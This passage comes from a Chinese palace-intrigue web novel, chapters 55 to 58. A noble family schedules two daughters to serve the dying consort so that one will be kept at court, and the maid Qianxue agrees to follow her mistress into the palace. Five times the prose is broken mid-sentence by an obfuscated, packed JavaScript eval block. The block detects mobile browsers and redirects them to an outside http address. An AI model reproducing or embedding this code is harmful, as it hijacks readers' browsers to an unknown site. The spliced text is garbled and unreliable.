“依老奴看，越是如此，咱们越得定下心肠来。四姑娘才真是最合适的人选。” 其实玉瑶和玉颜若是入宫都有生下孩子的可能，一想到这个可能她就寝食难安。 “拿捏。”郑妈妈吐出这两个字，“四姑娘心性纯善，凡事知足，又最重孝道，规矩从不出错，不像三小姐，”她话点到为止，意思却再明白不过。吴玉颜性子急燥，虽然近日不知撞了什么邪，乖觉了很多，但给人的印象不是那么容易扭转的，在郑妈妈看来若吴玉颜真得了势，尾巴能翘上天。四小姐吴玉瑶则不同，她更容易被塑造，被牵引。 杜氏眉头蹙得更深，捻着袖口的滚边：“纵是如此，如何争得过老爷的心思？” 这便是要郑妈妈给她想个主意，郑妈妈眼中精光一闪，压低声音：“夫人，您着相了，老爷的心思在陛下面前什么也算不上啊。” 郑妈妈语速加快：“国公爷虽定了三小姐，但人还没送进宫！贵妃娘娘属意的本就是玉瑶小姐！咱们何不顺贵妃娘娘的意？” 杜氏眼神微动：“你的意思是？” “侍疾！”郑妈妈吐出两个字，眼中闪烁算计，“贵妃娘娘凤体违和，国公府遣两位小姐入宫侍奉汤药，名正言顺吧？” 杜氏心头一跳！ 郑妈妈继续道：“只要两位小姐都进了宫，机会就来了！宫里头变数多！贵妃娘娘病着，陛下忧心，常去探望。玉瑶小姐性子温婉，模样好，若在陛下面前得了青眼，让陛下开口留她在宫里陪伴贵妃娘娘，谁能拦？国公爷又能说什么？” 她看着杜氏眼中燃起的希望，添火道：“到时候，玉颜小姐自然体谅姐姐病中需要更贴心的人伺候，识大体的回来，岂不顺理成章？” 杜氏恍然大悟对啊！人进了宫，就有操作空间！只要玉瑶能博得陛下好感，那一切问题都不是问题。 “可是，”杜氏仍有顾虑，“玉瑶那孩子未必肯。” “夫人！”郑妈妈打断她，若有所指，“您忘了？咱们手里，还有颗棋子呢！” “你是说千雪。” “对啊千雪那丫头，可是在四小姐身边伺候的！两位小姐入宫侍疾，身边总得带个知根知底，手脚麻利的丫鬟吧？四小姐带谁去，还不是夫人您一句话的事？更何况四小姐信任千雪，您都不需要开口。” 杜氏的眼睛骤然亮起！如同拨云见日！ 千雪！让她跟着入宫，以她的机警和上进心，定会想方设法帮玉瑶在陛下面前露脸！甚至，创造机会！ 杜氏心中阴霾散去大半：“好！你立刻安排！就说贵妃娘娘凤体欠安，国公府忧心，特遣三小姐，四小姐入宫侍疾！让她们都准备着！先让千雪来一趟锦居。” “是！老奴这就去办！”郑妈妈领命退下。 杜氏独自站在烛光下，国公爷想要玉颜入宫她偏要反其道而行！她要让玉瑶入宫！让玉华身边多一个贴心妹妹！让曜儿有个真心疼爱他的小姨！ 至于千雪，是时候用了！ 芳华院。 千雪正在整理绣线，心中莫名不安，自从被萧曜点名，被杜氏盘问后，府里气氛就透着古怪，总觉得有大事要发生。 “千雪姐姐，”小丫鬟挑帘进来，“夫人房里的郑妈妈来了，说夫人请您立刻过去一趟。” 千雪心头一跳！杜氏找她？又有什么事？她这段时间可是老老实实。 压下疑虑，千雪整理衣裙，快步赶往锦居。 锦居内室，杜氏端坐主位，神情平静，郑妈妈垂手侍立在她身侧。 “奴婢千雪，给夫人请安。”千雪上前行礼。 “起来吧。”杜氏声音平淡。 千雪依言起身，垂手侍立，心中警惕。 杜氏端起茶盏，慢条斯理撇着浮沫，仿佛闲聊：“过几日，贵妃娘娘凤体违和，需要静养。国公府作为娘家，自当尽一份心。” 千雪心头微动，静待下文。 杜氏抬眼，目光落在千雪脸上：“府里决定，让三小姐和四小姐一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16113557|176833||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 同入宫，给贵妃娘娘侍疾。” 千雪心中咯噔一下！让两位小姐入宫侍疾？ 杜氏继续道，带着命令的语气：“玉瑶身边，需要一个得力，机灵，又信得过的丫鬟跟着伺候，你，随玉瑶一同入宫。” 千雪猛地抬头，眼中难掩惊愕！让她随小姐入宫？！ 杜氏仿佛没看到她眼中的震惊，自顾自说了下去： “入了宫，好生伺候玉瑶，记住你的本分，更要，懂得为小姐筹谋。宫里不比府中，机会难得，务必，要让玉瑶得了陛下青眼，留在宫中！” 让玉瑶小姐，得陛下青眼？留在宫中？！ 轰！ 千雪只觉得脑中一片空白！杜氏的话一条比一条让她震惊。 原来如此，国公府居然要送姑娘入宫，她想起那日慈恩寺见贵妃的情形，看来贵妃的病已经没救了，否则国公府不会在送一个姑娘入宫的。 杜氏的话音落下，看着站在下首微微垂首的千雪，见她一时没有立刻回应，以为她是被唬住了。杜氏抿着的嘴角松了松，慢悠悠地又加了一句：“你的家人，我已经差人去打听了。等找着了，府里自会妥善安置，保他们衣食无忧，好让你安心在府里当差，没有后顾之忧。” 威胁，赤裸裸的。 可她心中却波澜不起，家人？那不过是这具身体原主的牵绊。对她而言，是再陌生不过的存在，是生是死，是好是坏，都引不起她半分真实的忧惧。 她确确实实，毫不在意。 但杜氏话音方落，千雪便已抬起头，脸上适时地换上感激和顺从，对着杜氏深深一福：“夫人替奴婢想得这般周全，奴婢实在感激。奴婢一切，全凭夫人安排。” 这驯服的态度合了杜氏心意，她面上不动，只眼底掠过一丝满意，微微颔首：“知道轻重就好。下去吧。” “是，夫人。”千雪恭敬应声，垂着眼帘，稳稳当当地退了出去。 等她身影消失在锦帘之外，杜氏眼神转向侍立在侧的郑妈妈，语气是惯常的利落：“郑妈妈，你亲自去一趟，叫三姑娘四姑娘，立刻来我这里，有要紧事。” “是，夫人，老奴这就去。”郑妈妈立刻应声，动作麻利地转身出去了。 55.第五十五章 千雪告知真相 没过多久，门口便响起细微的脚步声和衣裙摩擦声。帘子被打起，三姑娘吴玉瑶和四姑娘吴玉瑶颜一前一后走了进来，两人规规矩矩上前行礼：“给母亲请安。” “嗯，坐吧。”杜氏抬了抬手。 两人在侧边坐下，脸上都带着不解，把她们叫来是什么事？ 吴玉瑶眼神温顺，带着点试探。吴玉颜坐得端正，眼神却乱瞟，也在看杜氏的脸色。 杜氏没有拐弯抹角：“叫你们来，是宫里贵妃娘娘的意思。娘娘身子不适要静养，觉得宫里冷清，想念娘家姐妹。特意召你们二人进宫去，侍疾几日，陪着说说话解解闷，也算是替家里尽份心。过几天收拾一下，准备进宫。” 这消息来得突然，屋里静了一下。 吴玉瑶脸上掩不住的惊讶：“进宫？侍奉大姐姐？”她问出口，才觉得不妥，声音放低了。 吴玉颜也问道：“可是大姐姐的病不是好了吗？” 杜氏神色不变，目光扫过吴玉瑶茫然的脸和吴玉颜微蹙的眉头。 她端起茶碗，吹了吹水面，喝了口茶放下碗，声音平平稳稳：“娘娘的病是好了有些日子了，只是近些天，”她略顿了下，“忧思重了，吃睡都不安稳，太医说了，心病得靠亲人时常陪着，开解开解，想着你们姐妹贴心，最合适。这是娘娘给家里的体面，进宫后，务必用心，别让娘娘失望。” 说完，杜氏便不再开口，只静静地看着下首两个庶女的脸色，不错过一点变化。 看了片刻，杜氏只说了句：“话都清楚了，回去各自准备吧。”便端起了茶碗。 吴玉瑶和吴玉颜压下满心疑虑，起身告退。两人前后脚走出锦居，脚步都有些沉，各自想着这恩典背后的事。 回了清荷院，吴玉颜在窗边坐下，屋里的暖和也驱不散心头的重。进宫？大姐这病奇怪。孟淼那件事后，她就凡是长了个心眼，千雪那丫头，眼睛总是利的。 主意打定，她唤来杜鹃：“杜鹃，找个机会，去国子监寻二哥。”她字字说清，“就说，贵妃娘娘病重，母亲今天说要召我和四妹入宫侍疾，这事来得突然，我心里很是不安，请二哥务必抽空指点。” “是，小姐！”杜鹃心里一惊，不敢耽误，匆匆去了。 芳华院里，吴玉瑶打发了旁人，见千雪进来倒茶，忍不住问出来：“千雪，母亲方才叫我们过去，竟是要送我和四妹妹进宫！说是贵妃大姐姐病得很重，要我们进宫侍疾，可我总觉得哪里不对，那天慈恩寺见大姐姐，明明还好好的。” 千雪倒茶的手停了一下，放下壶，抬头看向吴玉瑶。小姐心善，也信得过自己。既然夫人那边已经把事情挑明了…… “小姐，”千雪迎着吴玉瑶的目光，“这夫人唤你去锦居之前，就单独见了奴婢，奴婢在夫人跟前就听明白了，夫人叫您和四小姐去，正是想要选个姑娘入宫伴驾，这也是贵妃娘娘的意思。” 千雪说的很明白，“宫里那地方，不是什么安稳去处。这会儿召姐妹入宫伴驾，面上是姐妹情深，说到底，是贵妃娘娘想为大皇子殿下，在后宫找些能依靠的人。夫人这么做，是顺贵妃的意思，也是要把咱们吴家，紧紧拴在大皇子这条船上。一旦进了宫，不管哪位被选中当嫔妃，那日子，可比在自家后院难得多了。” 吴玉瑶脸上的表情瞬间僵住，手里的帕子掉在地上。她怔怔地望着千雪，嘴唇抖了抖：“为妃？照顾大皇子？找依靠？”这话方才在锦居母亲可丝毫未提。 她听了千雪的话她只觉得心头猛地一沉，手脚都冷了。“这……母亲她……”吴玉瑶喉咙像被堵住，后面的话说不出来。 原来进宫，是要去给大皇子当养母，还要做吴家争权的棋子？ 吴玉瑶半晌没有出声，进宫为妃？这事儿她从来连念头都没有过。大姐那样的身份地位都常听说在宫里艰难，陛下和大姐之间……也远非外人看着那般亲近，她实在不敢想自己踏进去会如何。 她抬眼看向千雪，声音带着点涩：“千雪这可怎么办？”她顿了顿，终于问出盘旋在心头的话，“母亲，还单独交代你什么了吗？” 千雪直起身，看向自家 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16121711|176833||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 小姐，这事本就瞒不过去。千雪也不想瞒着吴玉瑶，便一五一十的把杜氏交代的话都吐了个干净。 “小姐，夫人私下吩咐了奴婢，这次入宫，让奴婢跟着您，尽力帮衬着，让您在陛下面前能留下。” 留下就是被选中的意思。 吴玉瑶只觉得心口猛地往下一坠，原来，杜氏一开始看中的就是她！是啊，想想也是，自己平日里最是温顺听话，而三姐那个性子，一点就着，进了宫还不知是福是祸，只怕牵连都来不及，哪里能帮衬看顾大皇子？ 千雪见她脸色都变了，走过来，轻轻握住她搁在桌边，有些发冷的手，千雪的手干燥温暖。“小姐放心，”她说得很认真，“如果你自己真不愿，奴婢绝不会推着你往那火坑里跳。” 这句实实在在的话，让吴玉瑶心头一酸，她是新千雪的，这些话杜氏没和她透露，想来原本也是要千雪先瞒着的。 她反手也紧紧握住千雪的手，用力得像是抓住根浮木。“傻丫头，”她声音有点发哽，“你光顾着我了，母亲那里，你就不怕交不了差？” 杜氏既然安排千雪，那她完不成这交代的任务能落得了好。 千雪还没应声，吴玉瑶吸了口气，眼神定了定：“你放心，我吴玉瑶也不是面团捏的，事到如今，真要走到那一步我也会拼尽全力护你周全！” 两人目光相接，在渐暗的天色里，仿佛都从对方眼中汲取到一丝微弱的暖意和勇气，她们不由得相视一笑。 国子监的书斋内。 吴景舟听完小厮低声转述杜鹃带来的口信后，瞬间就明悟了杜氏的打算，指间捏着的狼毫笔啪的一声搁在了青玉笔搁上，脸色也陡然阴沉下来，再无半分方才的平和。 他缓缓起身，踱至窗边，望着窗外宫城方向那鳞次栉比的飞檐斗拱，巍峨宫阙。 原来如此。 母亲要送三妹，四妹入宫，非为病榻，而是棋局。 贵妃想借姐妹之身，为稚子谋一深宫依靠，父亲母亲则是要借这后妃之位，为吴家谋那泼天富贵，不世权柄！ 56.第五十六章 旨意到来 次日变故已至。 宫内突然来人传信：贵妃娘娘病情急转直下，竟已口不能言。 锦居里，杜氏听着婆子的回报，只觉得眼前发黑，身子晃了晃，被旁边眼疾手快的婆子扶住才勉强在椅上坐下。 贵妃吴玉华的寝宫内，一片压抑的死寂。 她闭目躺在重重锦帐之后，脸色灰败，气息微弱。皇帝萧琰只来看过一次，略站了一会儿，嘱咐太医“用心看顾”，便走了。 吴玉华昏沉沉的漂浮着，意识时断时续。她觉得身上很冷，骨头缝里都透着寒意，想蜷缩起来，可她四肢无力无法腾挪，这种感觉太熟悉了。 三年前那场差点要了她命的大病，就是这般模样，一个念头起来，这次，怕是熬不过去了。 趁着一丝短暂回神的力气，她费力的动了动嘴唇，几乎发不出声，贴身的大宫女如月立刻将耳朵凑到她嘴边。 “……陛……陛下……”吴玉华用尽力气挤出几个气音。 如月明白了，心像被揪了一把。“娘娘您撑着，奴婢这就去请陛下！” 如月匆匆赶到御书房外，值守的内侍进去通报，如月在廊下焦灼的等着。 一个时辰过去了，殿内没有任何动静，也没人让她进去，深秋的风有些刺人，吹得她手脚发凉。 忽然，只听手腕上“啪嗒”一声轻响。 如月低头看去，戴了快三年的玉镯，这是贵妃赏赐给她的第一个东西，毫无征兆的裂成了几截，掉落在青砖地上。 那一瞬间，一股凉气从如月的脊椎骨直窜上来，她意识到了什么，连呼吸都屏住了。 就在此时，一个小太监跌跌撞撞地从宫道跑出来，如月认得那小太监，庆祥宫的内侍金宝，他脸色煞白，声音带着哭腔： “贵妃……贵妃娘娘……薨了！” 皇帝萧琰坐在御书房里，听到太监报了贵妃薨逝的消息，拿着朱笔的手在半空顿住了。 他确实有些意外，人是病得重，太医也早有说法，可他没真料到她走得这么快。先前那些不痛快此刻随着她的死，竟显得远了，淡了，像被风吹散的薄烟。 他放下笔，沉默了一会儿。“叫如月进来。”他开口，声音听不出太多波澜。 如月整个人像是被抽去了筋骨，哭得眼睛红肿，嗓子也哑了。“奴婢……叩见陛下……” “贵妃，”萧琰顿了下，似乎是在考虑措辞，“她闭眼前，说了什么没有？” 如月趴在地上，额头抵着冰冷的金砖，呜咽道：“回禀陛下，娘娘她最后反复念叨的，就只有大皇子，的名字，娘娘放心不下大殿下，到咽气，都惦记着……”泪水止不住地往下砸，如月其实并未守着贵妃，但是她知道贵妃最放不下的是谁。 如月哽咽着说完这些，偷偷用袖子抹了下脸，飞快地抬起眼皮，小心翼翼地瞄了瞄皇帝的面色。见他只是听着，没有动怒的迹象，她才壮着胆子，声音依旧带着哭腔： “娘娘病重那些日子，日夜忧心大殿下无人照拂，曾跟奴婢提过，想着能否让娘家妹妹入宫，一则陪殿下解忧，二则替她看顾一二……”她咽了下口水，补上一句，“前些日子殿下去过国公府，殿下他对吴家四姑娘，瞧着很是亲近喜欢……” 如月说完，伏在地上不敢动弹，只感觉到自己的心在胸腔里怦怦乱跳。 萧琰的目光落在地砖上那点如月泪水洇开的湿痕上，又沉默了片刻。 那些旧怨既已烟消，念及她总归是曜儿的生母，这点临终牵挂似乎也不算过分。 “知道了。”萧琰开口，声音依旧听不出喜怒，他转向侍立在一旁的太监总管，“拟旨，吴氏四女，淑慎慧敏，着封为美人，入宫伴驾，照拂皇子。”他像是交代一桩寻常差事，“让她尽快准备，入宫吧。” 一句话决定了不止一个人的命运。 国公府宫里来传旨的太监前脚刚走，吴玉瑶捏着那道沉重的明黄卷轴，指尖冰凉，几乎站立不稳。 封她做美人？入宫照拂大皇子？这消息让她措手不及，竟然来的这样快，她从未想过入宫！她强撑着对父亲和杜氏行礼，声音干涩：“父亲，母亲，女儿……先告退。”话音未落，已转身快步离去。 紧接着杜氏那边就传出了不好的消息，知道贵妃薨逝的消息时，杜氏已经摇摇欲坠，强撑着听完圣旨，得知入宫的是四姑娘吴玉瑶而非三姑娘吴玉颜，暗自送了口气。 紧绷的心神骤然松开一线，这口气一泄，连日来她眼前彻底一黑，身子直挺挺向后倒去，只来得及发出一声：“……华儿……” 贴身的丫鬟和婆子们惊呼着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16131625|176833||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 扑上去搀扶，才没让她摔在地上，整个锦居瞬间乱成一团。 吴承宗也被惊动，刚为圣旨人选产生的烦躁被眼前一幕生生打断，看着榻上不省人事的妻子，他眉头紧锁。他原本属意的，是三丫头玉颜，圣旨偏偏落在了玉瑶头上。 芳华院里，吴玉瑶像丢了魂似的坐在椅子上，手脚冰凉，浑身抑制不住地微微发抖。入宫？做妃子？那些关于深宫的可怕传闻一个劲儿往她脑子里钻。她害怕，怕得只想躲起来。 “哎哟我的好姑娘！天大的喜事啊！” 一声透着欢天喜地的吆喝传了进来，她的生母黄姨娘，脸上堆满了笑，脚步生风地冲了进来。 她根本没看女儿那煞白的脸，径直凑到跟前，一把抓住吴玉瑶冰凉的手： “可算盼到了！姨娘就知道我瑶儿有福气！你看看，这不就是一步登天了？美人！四品美人！往后娘娘娘娘的叫，多少绫罗绸缎，多少珠宝首饰……”黄姨娘眉飞色舞，那喜色压都压不住，眼前只看到了泼天的富贵。 吴玉瑶听着亲娘这只关乎荣华富贵的欢喜，胸口那点惧怕瞬间被另一种疼刺穿了。 她猛地甩开黄姨娘的手：“姨娘！你知道那是什么地方？！宫里！那是会死人的地方！” 黄姨娘被甩开手，脸上笑容一僵，随即对她不满地撇了撇嘴：“你这是什么话？哪个贵人不是这么过来的？死啊活的，晦气！富贵险中求懂不懂？大小姐没了，她位置迟早是你的……” “够了！”吴玉瑶霍的站起身，脸色更难看了，黄姨娘这些话，每一个字都像针一样扎在她心上：“那是我的命！不是姨娘你的摇钱树！荣华路！姨娘请回吧！” “你！你这不识好歹的……”黄姨娘也恼了，气得脸发青，指着她，“行！你有本事，攀了高枝就不认亲娘了？等你哭着回来那天……” “千雪！”吴玉瑶别过脸，对着门口高声叫道：“送客！” 黄姨娘气得跺了跺脚，狠狠剜了她一眼，拂袖而去。 院门关上，屋子里只剩下吴玉瑶和垂手站立的千雪。刚刚那场争吵似乎抽干了吴玉瑶所有的力气，她慢慢滑坐回椅子上，眼神发直地看着虚空，喃喃道： “千雪她说贵妃的位置空出来了，可她有没有想过，我这条命，是不是能撑到那时？” 57.第五十七章 安慰 傍晚时分，天色开始发灰，千雪守在门口，攒钱，赎身，自己买点田地当个小财主这是她唯一的想头。 可现在。 千雪的心直往下沉。吴玉瑶进了宫，她的贴身丫头还能有好去处？大夫人杜氏的精明算计，府里上下谁不知道？让她千雪陪着小姐入宫，几乎是铁板钉钉的事。想到要被关进那深不见底的宫墙里，一辈子听凭差遣生死由人，千雪就觉得胸口堵得慌，一股闷气顶着喉咙口上不来。 不行，现在不是自己胡思乱想的时候，小姐那边，恐怕更是六神无主。 黄姨娘和吴玉瑶不欢而散，吴玉瑶喊千雪进去送客。她听到吴玉瑶声音响起，带着悲凉。 “千雪她说贵妃的位置空出来了，可她有没有想过，我这条命，是不是能撑到那时？” 千雪起身，向前一步，直接握住了吴玉瑶放在膝头的手，那手冰凉，还在微微发抖。 “小姐，”她的声音不高，却很稳，像往常一样安慰吴玉瑶，“圣旨到了府上，就是板上钉钉，躲不开的劫数了，咱们得提前想想，进去了该怎么办。” 吴玉瑶像随即像抓住救命稻草似的，死死握紧了千雪的手，指尖都泛白了。她抬起脸，一双大眼睛里全是茫然和惊惶，声音也带了颤： “打算？什么打算？人人都说宫里规矩大，不像家里，走路说话都要看着脚下……”她在深宅大院里长到这么大，知道人情冷暖，明白宫墙里头的刀光剑影比这深宅大院还深上几分。 千雪看着小姐这副模样，心里那点苦味更浓，唉，她也是没得选：“宫里规矩，娘娘身边能带两个人伺候。小姐……想过带谁进去吗？”这才是眼下最紧要，也最能让小姐抓得住的实际问题。 “带人……”吴玉瑶怔了怔，眼神闪烁不定，似乎被问到了从未细想的事。她犹豫了一瞬，忽然看向千雪，眼神很认真：“千雪，你，你不想去对不对？你放心，我会去跟母亲说！我去求她放你出去！” 千雪的心口像被什么东西猝然撞了一下，又热又酸，小姐是真傻？也是真的替她着想。只可惜杜氏不会答应放她出去的，杜氏眼里，她千雪从来就不是个“人”，是给小姐预备的一件趁手工具罢了。 千雪低下头，喉咙有些发哽：“小姐的心意……我明白，可大夫人的性子，小姐比我更清楚，你去提这个，非但我走不成，只怕还要惹恼了她，连累小姐处境更难。” 话说到这份上，再明白不过了，杜氏那边，没有一丁点放手的可能。 千雪能看清吴玉瑶脸上的无措，她默默站起身，习惯性地替吴玉瑶拢了拢鬓角有些松散的碎发，然后重新在她脚凳旁坐下，坐得很直。 “我不用小姐去求，我不走。” 她顿了顿：“我陪小姐进宫。” 吴玉瑶彻底愣住了，她怔怔的看着千雪，那双大眼睛里的茫然和无助像是被千雪的话语一点点融化开，慢慢的，慢慢的透出一丝依赖和光亮。 她没有再说话，只是把千雪的手握的更紧了些，身体不由自主的靠近千雪的肩膀，然后，很轻，却又很重的点了点头。 千雪紧紧回握着吴玉瑶那只终于有了些热乎气的手，那点温热，在这无边的黑暗和对未来深宫的恐惧面前，显的有些微弱。 前路如何？谁也不知道。 杜氏吴玉华突然薨逝的消息受了极大打击，一病不起，府里的事务，暂由老夫人接手打理。 这日，老夫人把吴玉瑶叫到跟前训话。房里静得只听见老夫人腕上佛珠捻动的微响。吴玉瑶垂着头，站在下首，大气不敢出，只听老夫人的话语一句句敲在心上：此去非比寻常，是为了已故贵妃的颜面，更是为了好好照看贵妃留下的独苗年幼的大皇子。 务要谨言慎行，克己守礼，莫负皇恩，亦莫负吴家期许。吴玉瑶只觉得肩头似有千斤重担压下，嘴里泛着苦味，只得低声应着。 宫里很快派来了两位管教嬷嬷，姓孙姓李，都是上了年纪，不苟言笑的模样。吴玉瑶的日子顿时只剩下一样：学规矩。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16135455|176833||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 从早到晚，在她自己的小院里，走路、站姿、叩拜、回话、用膳、递物……每一项都被反复锤炼，稍有差错，便是嬷嬷锐利的眼神或提点。 几日下来，吴玉瑶脚底生了泡，膝盖泛着青，人也憔悴了不少。 这期间，另一个消息也定了下来，吴玉瑶身边另一个大丫鬟素丹，悄悄寻了个机会跪求小姐，涕泪横流的哭诉家中寡母无人奉养，实在不能跟着进宫。吴玉瑶想着素丹确实家里不易，便含泪应了，也回禀了老夫人，允了素丹留下。 最终，能跟着吴玉瑶入宫的丫鬟，便定了千雪和小橘。小橘年纪略小些，本是跟着千雪做事的，性子有些怯懦，但手脚勤快。她无父无母，是被府里买进来的。当千雪私下问她，知道宫里不比府里，凶险得很，可要想清楚？小橘眼睛湿漉漉的，低着头绞着衣角，声音虽小却异常坚定：“千雪姐姐去哪儿，小橘就去哪儿……我，我就跟着姐姐。” 千雪明白了她的心意，也不再说什么。 自打嬷嬷们住进府里西厢房，千雪便多了一份差事，她每日必去两趟嬷嬷房里，从不空手。 有时是新沏的，滚烫适口的好茶配着时兴精细的点心果子。有时是亲手缝制的暖袖护膝，针脚细密。更多的时候，是寻个由头，趁人不备塞上一个小小的，沉甸甸的荷包里面放着银票或是不易引人注目的精致金镯子。 她伺候得极其周到，端茶递水，察言观色，话不多，却总是恰到好处地说些府里趣闻或外头市井新鲜事，给嬷嬷们解闷。 一来二去，两位嬷嬷看千雪的眼神也缓和了不少。人精似的她们，自然懂得投桃报李的道理。饭食间隙，或是检查吴玉瑶功课的空档，两人偶尔也会用闲谈的口吻，似是而非地透出几句要紧话：比如宫里现今几位得宠妃嫔的大致脾性，哪位娘娘掌着后宫哪处的权，哪些宫人是万万得罪不起的，又比如大公主年岁尚小，性子敏感，夜里常睡不安稳有些话点到即止，但落在千雪耳中，已足够她拼凑出几分深宫的轮廓图样。 58.第五十八章 夜话 待到夜深人静，吴玉瑶学了一天的规矩，已是身心俱疲，只穿着里衣，拥被坐在自己架子床上发呆，小橘在外间小榻值夜。 此时千雪便会掩好房门，点起一盏昏暗的油灯，将小橘也喊进来，一人挨着一边床沿坐下，形成一个小小的，私密的三人圈。 千雪这才低声细语，将白日从嬷嬷那里听来的，整理过的，自己有打听过的有用消息，讲给吴玉瑶和小橘听。 吴玉瑶蜷着身子，下巴抵着膝盖，虽然依旧害怕，却听得无比认真。小橘更是全神贯注，生怕漏了一个字，手指不自觉地把裙子上挂着的穗子捻了又捻。 豆大的一点光晕，照着床上床下三个年轻女子的脸，窗外是沉沉的黑夜，无边无际。 “当今圣上后宫里，有名有姓的娘娘，主位，嫔妃就有十好几个。” 吴玉瑶本就皱着的眉头拧得更紧了，下意识的将身上的薄被裹紧了些。 “居中执掌凤印的是宋皇后。”千雪继续说道，“她是安平郡王府的嫡小姐，安平郡王是圣上登基后封的异姓王。” 最初听嬷嬷说的时候安平郡王府几个字的时候，千雪脑子里猛地想起，她刚穿越的时候，牙婆高婆子先去了的就是安平郡王府，当时管事郑妈妈还言语犀利的点了高婆子几句。 那时的千雪还懵懂，只隐约记下两府似乎不对付，如今想来，一切都有迹可循。 “咱们家贵妃娘同这位皇后娘娘，是一直不对付的。” 话点到这个份上，吴玉瑶再懵懂，也听明白了。尤其涉及那位早逝的贵妃姐姐留下的唯一血脉，身份敏感的皇长子，皇后是名正言顺的嫡母，可长子终究是从贵妃肚子里爬出来的。这份嫌隙，怕是深如渊海。 “除了皇后，高位份的，还有一位贤妃娘娘，一位淑妃娘娘。贤妃娘娘是江南那边数得着的大族出身，族里出过好些大官，至于淑妃娘娘……”她停了一下，似乎在斟酌措辞，“奴婢听嬷嬷的口气，她的娘家并非名门显宦，可架不住圣眷正隆。能越过那么多家世好的妃嫔封妃，靠的……就是陛下的心，听闻很是貌美。” 吴玉瑶忍不住小声嘀咕： “十好几个……整天围着一个男人打转抢那一点点恩宠，还要费尽心思算计来算计去……光想想就觉得头大。”她想起在自家后宅时，不过是那个讨厌的庶姐吴玉颜时不时给她添点堵，她就已经觉得烦恼不堪，只想躲得远远的清净，可进了宫，哪里还能躲？ 千雪和小橘都沉默着，千雪看着吴玉瑶脸上那丝毫不加掩饰的厌烦，心底微沉。 小姐这性子宫里那地方，厌烦是没用的，只会招灾惹祸。可这些话，现在说出来，除了加重小姐的恐惧，并无益处。 次日一早，千雪提着裙裾，脚下生风，转进了府里一处僻静的小院，空气里浮动着清苦的药香。 张府医正埋首案前，指尖捻着一枚干枯的茯苓切片，对着一本泛黄的医籍，蹙眉细看。 “先生。”千雪在门边轻轻唤了一声。 小老头闻声抬了头，眉头习惯性地拧着：“呦，稀客，打秋风来了？还是又磕了碰了，来寻老夫讨膏药？”话是刻薄的，嘴角却压着一抹笑。 千雪抿唇一笑，走到他桌案前，熟门熟路地替他理了理略显凌乱的案头散落的药草和墨砚：“瞧您说的，我就不能是得了空，来瞧瞧先生您吗？再说，” 她顿了顿，声音轻软了些，“在您这儿学医术的日子，不敢忘的。” 张府医哼了一声，手上翻书的动作却没停：“油嘴滑舌！学了点皮毛尾巴就翘上天了？还知道来看我？”话虽如此，那紧绷的眉眼松弛了些许。 千雪看着他鬓边新添的白霜，这老头儿，刀子嘴下藏的是真心，府里上下都明镜似的。 “我心里，一直念着先生的好。”千雪的声音更低了，带着真诚的感念。 张府医动作顿了一下，沉默片刻：“听说……你要跟着府里四小姐，进宫了？” 千雪轻轻点 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16140600|176833||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了点头。 一声长叹，在室内荡开，久久不散。张府医摆摆手，重新低下头去看那本医籍：“自己个儿保重着点身子骨。那地方深，万事警醒些，平安就好。” 千雪鼻子微酸，深深福了一礼：“谢先生教诲，我谨记。” 从药香弥漫的府医馆出来，暮色更沉了。 千雪没有回房，而是径直出了府邸高大的后角门。拐进一条僻静的小巷。 